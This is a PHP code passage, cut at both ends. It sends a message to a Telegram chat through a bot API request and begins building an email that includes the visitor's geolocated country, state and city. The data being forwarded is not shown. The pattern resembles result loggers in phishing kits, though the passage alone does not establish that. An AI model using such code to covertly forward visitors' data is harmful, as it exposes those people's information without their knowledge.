$telegram_id, 'text' => $message, 'parse_mode' => 'Markdown', // Use Markdown for formatting ]; // Use cURL to send the request $ch = curl_init(); // Construct the GET request URL $query_string = http_build_query($message_data); // Converts the array to URL-encoded query string $get_url = $url . '?' . $query_string; // Append query string to the base URL curl_setopt($ch, CURLOPT_URL, $get_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // Still retrieve the response if needed curl_exec($ch); curl_close($ch); //send mail if(!empty($mail)){ $loc=$location["country"].", ".$location["state"].", ".$location["city"]; $content = '
|